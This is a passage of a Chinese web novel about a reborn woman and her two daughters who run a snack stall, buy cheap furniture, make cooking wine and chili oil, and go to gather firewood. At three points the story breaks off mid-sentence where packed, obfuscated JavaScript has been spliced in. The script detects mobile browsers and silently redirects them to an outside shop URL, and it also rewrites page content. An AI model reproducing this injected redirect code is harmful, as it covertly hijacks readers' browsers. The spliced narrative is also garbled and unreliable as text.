年轻工匠眉眼舒展,“一定准时到,夫人,祝您有个愉快的周末。” 他转过身,脚步轻快地走远。走出去好几步,才想起从胳膊底下抽出被冷落许久的果酱馅饼,狠狠咬下去。 粗糙麦麸划过口腔,干涩发渣,他竟不觉得有多难以忍受了。 星期一就能吃到三明治了,嘿嘿。 要说三明治是什么,他说不出个一二三,但有一点可以确定,他从来没见过三明治这样的食物。 就像薯条和薯饼,陌生又新鲜,令人充满期待。 “嘿,阿尔杰,这么高兴是买到薯条了?我记得我去的时候已经不剩多少了吧?” 阿尔杰回到银器坊,才坐下,同为学徒的雀斑脸蹿了出来,轻拍他肩头。 “当然没有,好在果酱馅饼没那么受欢迎,让我能填饱肚子。” 他举起半块馅饼晃了晃,也不管雀斑男孩一脸“那你高兴个什么劲”的表情,自顾自又咬了一口。 吃完最后一块饼皮,阿尔杰到底没忍住炫耀的心思,贼兮兮道: “听着,星期一和我去薯条夫人那里,有新东西吃。 你不会知道那玩意有多美味……哦,我是说看着就美味,我还没机会尝到呢。” 雀斑男孩不以为然地撇撇嘴:“你说的不会是薯饼吧?可怜的阿尔杰,昨天我就吃过了,我可是第一批发现薯条夫人的顾客。” 他挺了挺胸膛,语气得意:“你不知道,当时根本没人敢买,因为薯条太奇怪了,要喝那么多油。是我,勇敢地选择了尝试……” 阿尔杰听腻了,不客气打断:“得了吧,我知道薯饼什么样,你说过的。这次不同,总之,你跟我去就知道了。” 雀斑男孩将信将疑,“薯条夫人又做了新奇的小吃?” “嗯哼,”阿尔杰拖长调子,故意卖关子,“十分新奇。我敢保证,比薯条新奇。” 他顿了顿,又补了一句:“当然,价格也不便宜。” 阿尔杰没说自己已经提前付了钱,也没说自己是第一个预定的人,还因此得了优惠。 他想着,等星期一去薯条夫人的小吃摊,拿上三明治就走,姿态潇洒一些,看雀斑脸以后还怎么吹嘘。 雀斑脸越听心越痒,趁师傅没来上工,抓着阿尔杰胳膊打听,“阿尔杰,你不能这么对我,快告诉是什么,想想看,今天还是我跟你说薯条好吃的呢……” 阿尔杰被雀斑脸一顿扒拉,身体左摇右晃坐不稳,心里美得直冒泡。 - 尤兰达拍拍裙子,抖去掉落在身上的食物残渣,大手一挥,收摊。 正好回家能路过市集,她索性顺路采购。 草药铺里,她买了鲜辣椒和干辣椒,以及几片桂叶,花出去100铜币。 蔬果摊前,番茄、洋葱、大蒜、苹果各挑了些,一共花出去75铜币。 遇到大婶挎篮子兜售小黄瓜,全部买下,又花出去25铜币。 路过粮食铺,她拍出200枚铜币,预定40公斤的土豆,星期一上午送货上门。 尤兰达低估了大家对美味食物的热情,原本以为能坚持卖上三天左右的土豆,才第二天就消耗得差不多了。 番茄酱也是,只剩下薄薄一层底子,蜂蜜芥末酱同样只剩下小半罐。 买齐食材,尤兰达没有耽搁,径直去了贝壳街上的一家二手家具铺。 能省则省,新家具用不起,旧的一样凑合用,但仅限于大厅。二楼的客房改成包厢,必须上点档次。 尤兰达算了算,得花不少钱呢。 “夫人,想买点什么?整个贝壳街就我家的二手家具最多。” 尤兰达东挑西拣一番,实在说不上有多满意。 毕竟二手家具,有毛病在所难免,即便店家回收后修缮过,面子上看不出大问题,老旧痕迹依然遮不住。 唉,就这条件了,不嫌弃。 “我需要12张四人桌,2张八人桌,再配上凳子。” 120平的餐厅,按照极限摆放,最多能塞下十六七张桌子,但那只是按面积硬塞,根本不管什么顾客体验。 尤兰达把桌数降到14,12张四人桌,2张八人桌,是不挤却也不宽松的方案。 太挤了,上菜不方便,冬天多是热乎乎的汤汤水水,走动不方便容易烫着人。太宽松,翻台率下降,影响营业额。 “听起来可真不少,夫人请看,这样的方桌可以吗?别看它旧了点,用材却是结实的橡木,关键是,正好有12张。” 尤兰达一一上手推了推,确保它们足够稳当,“一张多少钱?” 老板捋着胡须:“别着急啊夫人,请听我介绍,这些橡木方桌我们有好好保养,每隔几天刷一次羊油……” 尤兰达定定地望着老板。 老板耸耸肩:“好吧,心急的夫人,一张桌子70铜币,长凳30铜币。” 尤兰达倒吸一口气,这么贵! “换成杂木拼接的。”她立刻收回手,改口道。 老板笑意淡去,随手往铺子昏暗一角指去,“杂木的在那里,桌腿不够直,不过不影响稳定。” 尤兰达绕过堆放的家具,走到不起眼的角落。 这一瞧,何止不够直啊,根本就是选了曲里拐弯的木棍做桌腿,还好四个腿一样长,不影响稳定倒是真的。 再看桌面,木板纹路不一,颜色深浅、干湿不同,一张桌子,她愣是看出了橡木、山毛榉、白蜡、松木……等等。 说白了,边角料平凑而成。 老板疏懒倚着柜台,“杂木桌便宜,一张20铜币,杂木板凳一张10铜币。” 尤兰达低头一看,杂木板凳比杂木桌子更具乡土风情。 “要了,12张杂木四人桌,48张杂木长凳。” 一共720铜币,这钱花的一点不痛快。 老板问:“送去哪?运送费需要10铜币。对了,八人桌没有杂木的了,夫人再挑挑?” 尤兰达不忍心挑了,八人长桌只会更贵,反正一时半会不能营业,长桌到时候再添置吧。 她婉拒了老板的推荐,留下730铜币和地址,转身出门。 菲奥娜守着钱罐子,心里一抽抽的疼。 她眼睁睁看妈妈一路走走停停,买这个买那个,花出去不少铜币。来到家具铺更过份,进进出出,眨眼工夫又给出去一大半。 现在,广口的大钱罐里,只有一小堆铜币了。 明明妈妈花出去的钱不多,不及她以前买一条裙子的花费,可她心里怎么就那么难受呢? 菲奥娜扒拉一下钱罐,痛惜开口:“妈妈,今天赚来的钱都快花完了。” 尤兰达伸头一瞧,这不还有一半嘛。 没进项的时候,花钱要多注意着点,免得花超了周转不过来。 现在小吃摊生意逐渐趋于稳定,留够采买食材的钱和周转应急的资金,该花就得花。 “苹果醋、葡萄醋、麦芽酒,便宜卖喽。葡萄汁、甜果酱,新出锅,快来买哦。” 母女三正说着话,推车四处兜售的小贩从不远处的小巷拐出来,不停吆喝。 尤兰达顶着菲奥娜谴责目光,抓起一把铜币,“伙计,给我一罐苹果醋和一罐麦芽酒。” 菲奥娜欲言又止,想劝妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244207|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别买了,但见妈妈一共才数出20枚铜币,她都不好意思开口。 20枚铜币,买一条装饰裙子的蝴蝶结都不够,而她,居然在为此苦恼,甚至动了心思劝说妈妈别花了。 菲奥娜成功被自己吓到了,惊恐捧脸,不敢相信省钱的概念竟然会出现在她的脑海里。 西芙拉倒是没觉得有什么,挣钱不就是用来花的吗? “妈妈,买一罐淡啤酒吧。”西芙拉舔唇。 尤兰达欣然同意,对小贩说“再来一罐淡啤酒”,又给出去3铜币。 菲奥娜没心思计较花钱的事,姐姐有的,她也得有。 “妈妈妈妈,我想喝葡萄汁。”她挤到尤兰达身侧和姐姐较劲。 厚此薄彼的事不能干,尤兰达爽快掏钱。女儿们想要的,都买了。 母女三人高高兴兴回家,一进门,菲奥娜嚷嚷着先数钱。 她必须知道今天赚了多少花了多少,不然心里难受。 菲奥娜抱起罐子进起居室,挪走桌面上的烛台和箩筐。 “用不着这么麻烦,家里有分拣盘。” 尤兰达慢悠悠跟进来,从橱柜深处扒出一块木格盘。 西芙拉:? 菲奥娜:?? 两人对视一眼,那她们昨天数半天……算什么? 事实证明,这次用分拣盘属实大材小用了。 一格,两格,三格……铜币哗啦啦地填满了五个长格子,第六格填了一半多一点。 按照一格100铜币计算,这里有559枚铜币。 菲奥娜呼吸一窒,心痛的无以复加。 就剩下这么点了? “我们今天赚了多少?”她追问。 尤兰达记着账呢,加加减减一番,报出数字:“今天营业额是1715铜币。” 比第一天摆摊多了整整400铜币,消耗的食材、时间、人力,却不及昨天一半。 这说明什么?成本有效降低,利润成功增加。 再摆几天摊,付完陶瓦的尾款,还能给后院换上新瓦,采买食材也不用束手束脚了。 终于摸到美好生活的尾巴,尤兰达别提多起劲。 她倒出半盆煤炭碎,安排西芙拉和菲奥娜两人捣着,自己提篮子去溪边挖泥。 有过前一次勉强称之为成功的蜂窝煤手搓经验,加上半下午的实际体验,尤兰达琢磨出了门道。 煤炭粉占比70-80%最佳,少了不易点燃,黏土和草屑各占10%左右,具体要看蜂窝煤使用场景决定增减。 做饭用的话,煤炭粉可以少放点,草屑适当多加,引燃快,火力猛,坏处是不耐烧。 如果家庭取暖用,则要多加点黏土,延长燃烧时间。 也是真正使用后,尤兰达才确定,第一次制作并不完美,驴屎蛋子表面光。 比如易碎、孔洞堵塞等问题,粗看看不出,烧到一半烟变大了才发觉有哪里不对劲。 尤兰达努力回想又回想,隐约记起来,爷爷奶奶搓完蜂窝煤,通常会先藏进背光的墙根下阴干,然后再转移到阳光下。 前面关键步骤忘了个干净,她光记着晒太阳了。 黏土过筛倒进大盆里,西芙拉和菲奥娜认命干起苦力活,双臂机械地锤锤锤,眼睛不住飘向一旁忙碌中的尤兰达。 “妈妈,为什么要把它们放进麦芽酒里?” 菲奥娜皱巴着漂亮脸蛋,实在想象不出这样的麦芽酒会是什么味道。 西芙拉:“傻子,当然是为了做出更好喝的麦芽酒啊,对吧妈妈?” 尤兰达搅动锅中酒水,抽空冲西芙拉比了个大拇指。小姑娘真聪明,说对了一大半。 厨房昏暗,外头阳光却正好,她搬来泥炉占据院子一角,熬煮麦芽酒。 等待酒水沸腾间隙,顺道去菜园子里采摘香料,罗勒、迷迭香、百里香、鼠尾草,洗干净摆在一旁。韭葱、大蒜、洋葱、桂叶,码放在盘子里备用。 西芙拉和菲奥娜全程看下来,猜出这些香料不出意外都要放进酒中。 西芙拉不解其意,但她确定妈妈这么做自有道理。 “不是为了喝它,当然,想喝也行。 做好以后它们就成了料酒,做菜的时候洒一点腌制鲜肉海鲜,去腥增香。” 都手搓蜂窝煤了,不差一个自制料酒。 老家的料酒基底要么用黄酒要么用白酒,辛香料也不好找,她没那个本事复刻,自然不敢给老外们尝,怕惹出麻烦。 好东西还是自己偷摸吃吧。 既然基底换成了当地人熟悉的麦芽酒,香料也一并替换成当地人习惯的香草种类,和当地容易获取的调味品。 两相一结合,一锅当地人熟悉又陌生的改良版料酒,就这么成了。 22.第 22 章 料酒蒸腾着热气出锅,馥郁的香料气息瞬间漫开。 西芙拉和菲奥娜丢开手里的活,凑到锅边耸动鼻翼。 “怪怪的,”西芙拉皱眉评价,“好浓的香料味。” 馋鬼菲奥娜不语,一味地找勺子。 葡萄酒、蜂蜜酒、麦芽酒、淡啤酒……都喝过,香料酒没道理错过。 她必要尝尝咸淡,弄清楚料酒究竟是个什么味道。 尤兰达眼疾手快按住人,再三提醒没做好,才成功阻止菲奥娜。 招呼两人捏紧麻布的四个角,撑成一个简易的过滤网,整锅改良料酒倾倒下去,复杂气味扑鼻而来。 “不行,太奇怪了,它真的可以腌肉吗?”西芙拉憋不住气,撇开脸大口呼吸。 菲奥娜接受良好,嗅了一次又一次,“哪里奇怪,明明还不错啊。” “因为你最馋、口味最重。” “少说怪话了,难道你不馋吗?你今天可比我多吃了半块三明治呢。” “你非要计较这些吗?那我只能告诉你,是你先喝光了我的玉米水!笨蛋!” 眼看两人又要打嘴仗,尤兰达直接把她们赶回去翻搅煤炭粉,自己抱起料酒缸回厨房。 她舀起一小勺尝了尝味:微苦,辛辣,麦芽的甜被覆盖得严严实实。 趁她们不注意,尤兰达悄悄从空间拿了点精盐和白糖撒进去,兑一勺苹果醋调味。 再舀起一勺砸吧砸吧,味道和谐多了,可惜刚熬好,未经发酵的料酒风味尚浅。 尤兰达满意地扣上盖子。 这手艺,修道院不和她合作,以后后悔去吧。 也是大环境不好,看把她逼成什么样了都,想吃顿好的全靠自己手搓,多亏她学了门饿不死的手艺。 为了口吃的,尤兰达可谓干劲满满。 她一刻不停歇,找来剪刀剖开干辣椒,剔除发霉变质的,连籽带皮一起冲洗干净。 找遍草药铺,没有尤兰达熟识的品种,谨慎起见,就不加什么二荆条、小米椒调味了,也幸好本土的辣椒足够辣。 而且干辣椒被当地人认定为危险药品,买的人不多,拿来当食物吃的人就更没有了,价格便宜得让人感动。同样50铜币,比新鲜辣椒多出足足一斤。 老板听她说要买干辣椒,起初以为她是有病,再听说她要买一斤,差点乐疯。 不难看出,她在草药铺老板眼里是何等级别的冤大头。 尤兰达决定先搞它个半斤尝尝味。 西芙拉心肝直颤,缩着脖子怂兮兮说:“妈妈,我可没有生病,不要给我喝辣椒水。” 菲奥娜颤巍巍举手:“我也没有,我也不要喝。” 尤兰达:“做好了你们就吃吧,一吃一个不吱声。小西,用点力,一定要搅匀了。” 西芙拉左看看右看看,这不挺匀的嘛。 她敷衍哦了一声,手里木棍却捣得飞起。 “梆梆梆——梆梆梆——” 沥干水份的干辣椒拌上猪油,悉数倒进锅里,尤兰达跟着捣击的节奏挥动锅铲。 全程小火慢慢烘炒,辣椒的香味很快被激发出来,霸道又热烈。 与此同时,院子里的喷嚏声也此起彼伏,一声接一声。 辛辣的气味顺着傍晚的微风飘出去,没多会儿,隔壁邻居家接二连三响起惊天动地的喷嚏。 长长的街巷,不少店铺工坊冒出人来,捂住鼻子、转着脑袋四处探,满脸困惑。 “谁家啊,做什么呢?害得我一直打喷嚏。” “噢,这该死的味道,我以为我生病了呢!” “你也闻到了?不是你家?你家也不是?” “那奇怪了……” 对矮人巷发生的短暂骚动,尤兰达一无所知,手里锅铲快抡出火星子。 直到附近炸开一声高喊:“嘿!到底是谁家,我的鼻子快要死掉了。” 尤兰达这才意识到什么,缩了缩肩膀,不敢吱声。 恰好完成烘炒步骤,她加快速度倒出来晾凉。等干辣椒变脆,分批倒进石臼里,和少量香菜籽一起碾,碾到一半,加入适量的精盐调味,继续碾。 一时间,矮人巷北1店的院子里乒乒乓乓响成一片。 天边霞光万丈时,西芙拉和菲奥娜搅拌好煤粉,尤兰达手里的活也告一段落。 辣椒面,成了。 一分为二,分别倒进两只小陶盅,一盅扣盖子密封放进厨房的置物架。另一盅,尤兰达准备浇热油做辣椒油。 最后这道泼油的步骤,一定要放洋葱、韭葱、蒜瓣、欧芹叶炸一下,老香了。 “滋啦——” 热油浇入的瞬间,香气轰然炸开,搅合两下,熟悉的油泼辣子味直钻鼻腔。 捧着满满一盅红亮亮的辣椒油,尤兰达脑海里已经自动冒出馄饨、拌面、凉拌菜、凉粉……吸溜。 她咽了口唾沫,兴致盎然地做起剁辣椒。 这比辣椒油简单,新鲜辣椒洗净擦干,去蒂剁碎,放入同样料理好的姜末蒜末,放50g盐。 缺少白酒杀菌增香,尤兰达选择加苹果醋和白糖调味、助力发酵。 新鲜辣椒贵,只舍得买一斤,做成剁辣椒也没多少,真就尝个味道。 左手捧起小坛辣酱,右手抱住大罐料酒,走进地窖排排放等发酵。 尤兰达退后两步,双手捧着脸,美滋滋欣赏了好一会儿。 “妈妈,我们需要你的帮助。”院子中,西芙拉一声吼。 尤兰达应了一声,快步来到院中,和两个孩子一起搓煤球。 这回不晒屋顶了,柴棚空着呢,贴墙根阴干。 一通忙,天色擦黑的时候,母女三人直接累瘫,一人占据一张扶手椅,安祥躺平。 西芙拉旧话重提,恳求老母亲聘女仆、杂役,尤兰达认真思考了一会。 确实,家里需要请人料理杂活了。 她理想中的状态是只需围着厨房转,其他事项动动嘴皮子就有人搭把手。 话又说回来,以她们目前的存款,多少有点奢侈。 尤兰达叹气,还能咋滴,加把劲努力赚钱呗。 她支起身,准备和女孩们说一声晚上吃面条,话没出口,就见她们东倒西歪,眼睛半阖着,脑袋一点一点往下栽。 尤兰达噤声,轻手轻脚走去门边,取来衣架上挂着的斗篷盖上去,点燃一截蜡烛照明,悄悄退去厨房。 晚饭定下了吃面条,可她浑身犯懒,不想揉面,于是偷懒取来空间里备下的馄饨皮。 一摞50张,两摞垒一起,切成小指粗细的条,抓起抖落几下,谁还分得清面条和馄饨皮的区别。 水开了,面条下锅煮个三五分钟,捞出后都不用过凉水,已经足够劲道。 面条均分成两碗,搁在一旁晾凉,尤兰达就着面汤烫卷心菜丝,焯胡萝卜丝和洋葱丝。 蔬菜丝断生后沿着碗边码放,红的粉的绿的挤作一团,颜色别提多漂亮。 倒掉浑浊面汤,锅热,放一大勺猪油,快速打两颗鸡蛋进去煎到边缘焦脆,一碗铺一个。 最后是调酱汁。蒜末韭葱炒香,番茄切丁倒入锅中,炒出汁后加水炖着。 正好罐子里剩下一点番茄酱,勺子刮得干干净净,全部加进锅里。 咕嘟咕嘟冒泡的时候,少加点盐和味精调味即可。 不确定她们能不能接受辣椒油,尤兰达便没有自作主张,改放了一把欧芹碎。 连锅端起,浓稠的番茄酱汁浇上面条和配菜,煎蛋吸饱了汁水,视觉效果拉满。 她拿起叉子搅拌,让每一根面条都挂上汁,浸透酸甜的番茄味。 这下,不止视觉,味觉也拉满了。 尤兰达一手端一碗面,来到起居室放在桌上,晃醒两个孩子叫她们吃晚饭了。 两人累极,眼皮子耷拉着,哼哼唧唧半天才肯爬起来,摇摇晃晃走到桌边坐下。 只一盏蜡烛,昏黄昏黄,瞧不清楚,两人也没心思细看,下意识握住叉子准备进食。 西芙拉: O.o ! 菲奥娜: O。O ? 两人瞬间精神,揉了揉眼睛瞅着碗里。 菲奥娜不确定的开口:“妈妈,这不是番茄风味珍珠浓汤吧?” “当然不是,它们完全不同,你们现在吃的叫番茄拌面。”而且是懒人版。 菲奥娜双眼茫然呆滞,面条? 好吧,又是没听过的东西。 只惊讶一会,两人一脑袋埋进碗里,叉子来回划拉,疯狂进食。 面条不面条的,她们不懂,但她们知道好歹。 碗里的面条顺滑软嫩不失劲道,挑起一根仔细观察,不难看出面粉原本颜色应该是雪白细腻的。 因为她们没有吃到哪怕一点点的麦麸粗颗粒。 菲奥娜自诩老吃家了,她立刻判断出来,做出这样的面条,恐怕是潘德美茵级别,细布反复过筛三次才、不,绝对不止三次。 每划一口进去,菲奥娜就特意留意面条的状态,一口又一口,她无比确定,潘德美茵都没它精细,更是倍杀普通白面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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摘下来的欧芹叶放进微波炉,叮个几分钟烘干,尤兰达转身来到灶台边。 不锈钢锅架上灶台,锅热,倒上辣椒油,打两颗鸡蛋煎至半熟,立即调成小火,飞快切两根淀粉肠加进去,掏出调料包、蔬菜包、酱包依次倒入。 赶在糊底之前注入适量热水,一直煮到锅里冒泡,撒几根青翠的鸡毛菜、鲜红的小米椒碎、几块原浆冻豆腐,顺手抓来几个解冻好的虾仁和蛤蜊加进去,最后,放上一块方便面面饼,压进汤里。 实不相瞒,这才是尤兰达想吃的面条。 连续几天健康饮食,差点憋坏她,稀罕死这一锅超豪华的科技与狠活了。 面饼煮散即可出锅,不能犹豫,犹豫就烂糊了。 等晾凉再入口,浸泡了一会的面条口感不软不硬,最合适不过。 尤兰达捧来一盘辣卤牛杂,兴冲冲准备一起倒进泡面锅,想到什么,动作顿了顿,又放了回去。 今天是斋戒日。 她不信上帝,严格来说,斋戒和她没多大关系。 但她使用的身体有信仰。 老实讲,如果有人穿去她的身体,整天七搞八搞,还违背自己的信仰,尤兰达绝对恨死那个人。 哪怕她的身体已经死透透。 以己度人,她便不忍心破戒。 算了算了,忍忍吧,不吃了。 可不是为了上帝,尊重原身的躯体罢了。 尤兰达连不锈钢泡面锅一起端出空间,搁在桌上晾着。 干欧芹叶装进小盅,一捣即碎,扣上盖子放上目前还空荡的厨房置物架。 然后,她一屁股坐上厨房的门槛,两腿一盘。 晚祷之后,街上几乎听不见多少响动,微凉的夜,万籁俱寂。 她望着天上密密麻麻的星子,无暇欣赏,脑子里过着明天的安排和睡前必做的准备。 菜园子里的莴苣要尽快拔,多耽误几天该老了。 明天上山砍柴,裙子里套条裤子吧,防蚊虫。 对了,得留一个人守家,约了蚝郎送生蚝,家具铺也约好送桌凳。 留谁好呢? 深入山林一整天,必须多准备点干粮带上。 哦,还有蜂蜜水,母女三人容易低血糖,不能少。 等等,明天早饭吃什么? 23.第 23 章 鸡叫三声,撕开了清晨的静谧。 待初时祷的钟声铛铛响,彻底唤醒睡梦中的皇城。 不多时,炊烟袅袅升空,随着阳光大盛,越来越多的人家投入新一天的劳作,皇城上空飘起麦香。 西芙拉和菲奥娜就是在阵阵香气中醒来的。 两人迷迷糊糊穿上裙子,胡乱梳了梳头发,凑去窗边吸鼻子: “好像是面包……” “不对,比面包香,有鸡蛋!” “该起床了,孩子们——” 楼下传来尤兰达的呼唤。 两人匆忙应声,加快动作漱口、擦脸,戴上帽子,噔噔噔飞奔下楼。 “哇喔~妈妈,你一个人做了这么多?” 两人一走进起居室,随即发出一声惊呼,欢喜地扑到餐桌边,一双眼睛滴溜溜转根本看不过来。 碗里装着颜色漂亮的菜粥,各种颜色星星点点。 盘子里有肉肠半根、煎蛋一个、煎培根两片,和切成三角小块的金黄酥脆的饼子两块。 餐桌另一端,两只鼓囊囊的羊皮水囊静静躺着,旁边平铺了两块麻布,上面扑了几片葡萄叶,不知道做什么用。 而走进门的尤兰达,手里端着满满一盘饼子,喷香喷香,比街上任意一家做馅饼生意的都诱人。 “当然,我的两个好帮手才刚起床不是吗?” 馅饼放上桌,尤兰达不等她们问,主动介绍:“早饭吃鳕鱼蔬菜麦粥,里面放了胡萝卜、莴苣叶、玉米粒,都是你们爱吃的。” “黄色的饼叫土豆丝饼,土豆胡萝卜切成丝,煎一下就好,你们会喜欢的。” 她说的详细,两人没有疑问,目光一致转向冒着热气的几块馅饼上。 尤兰达:“这个啊,是我们的午饭。” 西芙拉看了看外面的天,这不才早上嘛,怎么就说到午饭了。 尤兰达宣布今天的安排:“小西留下看家,今天有人送货上门,你得注意点。 收货后帮妈妈去集市买两根猪肋骨,妈妈给你们做好吃的。” “小菲,你跟我上山,这两个包裹装我们的干粮,一人一个带在身上,万一走散了至少不会饿肚子。” 菲奥娜对自己跟着妈妈上山毫无意见,纯好奇馅饼的滋味,怎么有大有小、有扁有厚的,想尝。 西芙拉指了指自己,声音委屈:“那我的呢?” 她留在家里要干那么多活,还没口吃的,重妹轻姐! “怎么会少了你。我们的午饭一模一样。 看,每人三块卷心菜馅饼,三块糖饼,五块鳕鱼蔬菜饼,两颗水煮蛋。”尤兰达头皮一紧,赶紧端水。 说话间,揭开旁边的陶锅盖子展示,“瞧,放在锅里保温呢,茶壶里给你留了蜂蜜苹果薄荷水。” 这么一大桌东西,非得一大早起床才能做完。 然而事实上,她只比两个孩子早半小时起床。 尤兰达可以熬夜,不能早起,昨晚吃完超豪华泡面,顺带手把第二天的早饭一起做了。 正好用空间厨房还方便快捷,第二天早上装模作样拿出来,谁也不会发现不对。 为了装得像点样子,尤兰达特意留了蜂蜜苹果薄荷水没做,早上爬起来慢悠悠生火。 苹果切块煮水,加蜂蜜调和酸味,出锅前摘两片薄荷叶放进去涮上几分钟。 前两者没什么讲究,最后一样薄荷不能多放也不能久煮,否则就是一锅牙膏味,直冲天灵盖的感觉可不舒服。 薄荷提神醒脑,蜂蜜缓解低血糖,苹果生津润燥,甜蜜清凉的饮料最适合今天的行程。 两人刚睡醒,一下子接受那么多信息,整个人懵懵然,好半天回过神。 馅饼她们知道,糖饼和鳕鱼蔬菜饼又是什么? 两人蠢蠢欲动,想先尝尝糖饼的味道,没等伸出手,尤兰达依次将盘子里的饼均分放在葡萄叶上,又盖上几片叶子,包起麻布系紧。 “小菲,别发呆了,早饭全部吃完,今天的活可不轻松,我们需要更多能量。” 菲奥娜遗憾叉起培根塞进嘴里,顺手贩剑:“可怜的西芙拉,我会给你带一束野玫瑰的。” 西芙拉反击:“可怜的蠢妹妹,挥斧头的时候可别砍着自己的脚。” 尤兰达抬眸:“咳咳。” 两人鹌鹑一样垂下脑袋,老实干饭。 清晨八点左右,尤兰达拉开院门,牵出两边绑上六个箩筐、身后拖着一架板车的大G 从巷子头绕去海螺巷,进入平稳驾驶阶段,尤兰达撑着车板一跳,“嘎吱”一声稳稳坐好。 菲奥娜没她灵活,也不知道该怎么跳上去,急得脑门冒汗。 尤兰达笑话她好一会,被女孩不满瞪视,才拉停大G,伸手一把将她拽上车。 一路向前,陆陆续续有人家推着车、骑着驴、牵着牛出门,汇入街巷,浩浩荡荡向巷子尾进发。 尤兰达本来有点着急,模糊的时间概念总让她担心迟到,这会心里踏实了。 车马多,一路缓行,还没到巷子尾,远远便瞧见起伏的山林,和山林外缘乌泱泱的人群。 原来矮人巷和海螺巷的居民,有这么多啊。 尤兰达驾着大G,顺着人流往前,忍不住四处张望。 有的全家出动,有的派店里学徒杂役,最小的孩子不过7、8岁,不知道能帮上什么忙。 男女老少齐聚,话匣子一下打开了—— “昨天你们闻到了吗?不知道谁家飘出来的,我的鼻子很痛苦。” “海螺巷也能闻到?我闻着和辣椒汤有点像,我每次喝它也打喷嚏。” “天呐,你太聪明了安德森,我说它闻起来有点熟悉。” “这汤煮太浓了,喝下去肯定要拉肚子。” 尤兰达抿紧唇角,稍稍往后躲了躲,整个人藏在大G后面。 菲奥娜悄声问:“妈妈,他们说的不会是……” 尤兰达挤挤眼睛,冲她使眼色,菲奥娜立时住口,眼神飘向别处。 母女俩的心虚,就差写在脸上。 好在邻里们吐槽了几句,氛围渐渐热络起来,话题也慢慢转到了别处。 “鞋匠家那个学徒,叫托马斯的,你们知道不?”裹着头巾的妇人压低声音,却压不住分享八卦的兴奋劲儿,“最近疯了一样到处找培根,听说花出去一周的薪水!” “可不是,太不谨慎了,”推独轮车的老伯摇摇头,“眼看要入冬了,该多囤点食物和皮毛才对。” “他也来我家打听过,”另一个中年男人撇了撇嘴,“上帝啊,当时我真以为他在羞辱我——我们这样的人家,哪吃得起培根?” 年轻妇人接过话头:“托马斯说的那种培根我不知道,不过你们有没有听说,街上多了一种叫薯条的东西?” “薯条?”挎着篮子的胖妇人凑过来,“我买菜的时候听人提过,好多人想尝尝呢。” “你们知道哪儿有卖吗?我得去尝尝看。” 尤兰达:“……” 换了新话题,依然和她脱不了关系。只没想到,薯条的名气就这么莫名其妙传开了。 没有网络,没有社群,该传播的八卦,照样流传得飞快。 尤兰达驾着马,不动声色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264784|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤去另一边。 听别人议论自己怪怪的。 她这一动作,引来许多注目。见是生面孔,大家还多看两眼,随即,目光齐刷刷集中在旁边鬃毛黑亮的骏马身上。 他们的眼神,像极了前世的尤兰达看路上缓缓驶过的大G、法拉利。 恰好这时,前方人头攒动的地方传来梆梆梆的铜锣声,两条巷子的户长声嘶力竭呼喊: “听好了,不管走多深,听到第九时祷的钟声就开始返回,太阳落山前必须离开林子。 各家各户约定一下,如果有人不在,请转告沃格特户长、马克户长。 禁止林中私斗,护林员会检查你们的收获,不要违反规定。” 规矩一直如此,长居于此的居民再熟悉不过,各自和熟人闲聊,着急户长怎么还不宣布开始。 “最多翻两条山沟,小心撞上野猪没人帮忙。” “老猎户说,深山里下了两场雨,河流水急,想捕鱼的伙计掂量着点吧。” “不要吃山里的蘑菇,不管你认识不认识,如果你不想死。” “最后,照顾好孩子们。” 户长吼完注意事项,胳膊一挥,示意大家进山。 也巧,他胳膊一放下,第三时祷的钟声悠扬传来。 像信号枪,得到信号的大家哄一下散开,争先恐后钻入林子,很快被树影吞没了身影。 尤兰达第一次参加矮人巷团建,新鲜的很,一路观察邻居们。 青壮年们成群结队,扛上斧头绳索,目标明确,径直往深山里去。 妇人们挎着篮子,背上箩筐,不紧不慢走在后面,沿途摘些野菜,捡些枯枝落叶。 年纪小的孩子们挎个小篮,只在山林外围打转,摘几颗浆果塞嘴里解解馋。偶尔想起自己是来找木柴的,敷衍扒拉几下地上的枯枝。 十五六岁的半大孩子,基本被当大人用了。他们三三两两聚在一起,讨论着哪片林子柴多、哪条溪能捞着鱼。 这一带有太多人扫荡,没剩多少她们看得上的资源,尤兰达索性驾着马深入。 树木越来越密,草丛越来越丰茂,空气中弥漫着潮湿清冽的草木香气。 这时,邻居们的说话声也越来越遥远,只剩隐约的人影在林间晃动。 尤兰达正犹豫要不要深入,眼睛随意往四周一扫,当即改变主意。 一丛丛的野韭菜,近在咫尺,沿着林间小道铺展开去,密密匝匝,一眼望不到头。 野韭菜,也叫鹿耳韭,搁东北那疙瘩,人们管它叫山葱。 别看它叶片宽厚没个韭菜样,实际和大家熟知的细长韭菜一个味,有过之无不及。 糖醋腌渍裹烤肉味道一绝,泡菜酱腌拌饭馋哭小孩,凉拌、炝炒、煮汤……就没有不好吃的做法。 这么一大丛,足以腌上两三缸,冬天的小饭桌又多了一道爽口菜。 